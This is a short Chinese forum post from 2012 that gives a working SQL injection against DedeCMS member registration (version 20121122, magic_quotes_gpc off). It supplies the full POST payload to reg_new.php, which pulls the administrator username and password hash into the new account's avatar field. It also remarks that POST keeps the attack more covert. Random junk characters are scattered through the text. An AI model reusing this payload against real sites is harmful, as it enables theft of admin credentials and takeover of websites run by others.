dedecms版本 20121122% }$ q9 ~) `# F8 L$ O# Q
5 _ s9 u/ s, d/ ~) ]4 @! W需要magic_quotes_gpc=Off0 g( c% Z1 k" y! k3 ~
7 G( ]6 e7 b. U8 }# d, a* W应该是没有什么大危害的漏洞.
6 q* G1 M* }8 w2 F原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.( b. T( m% e+ C1 q9 d5 v
% O. x, f# M& @, K! i是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
( a1 N) Y! }* {" U: R3 y0 ?POST提交以下数据,其实不用POST提交的,这样隐蔽点.
; E, d1 h0 I( ` v& O, @0 a5 J# s1 e
I( W0 J: b" ^8 {0 qhttp:///de/member/reg_new.php8 z2 v% d. B7 o( }' c: N% c' A
6 ] P8 Z$ w# L( E) e4 ?# d
POST
& T& q; C3 `4 Q
+ H, o: r+ C( z% u8 idopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=! E$ ^. {8 S9 y3 g+ l
2 R' x5 j0 Y9 \0 K$ P
成功注册后,头像处里面有好玩的信息.4 r Y0 [ F1 |9 b5 i7 b
/ M1 F/ m x5 |4 k |
发表于 2012-12-5 10:03:32
收藏
支持
反对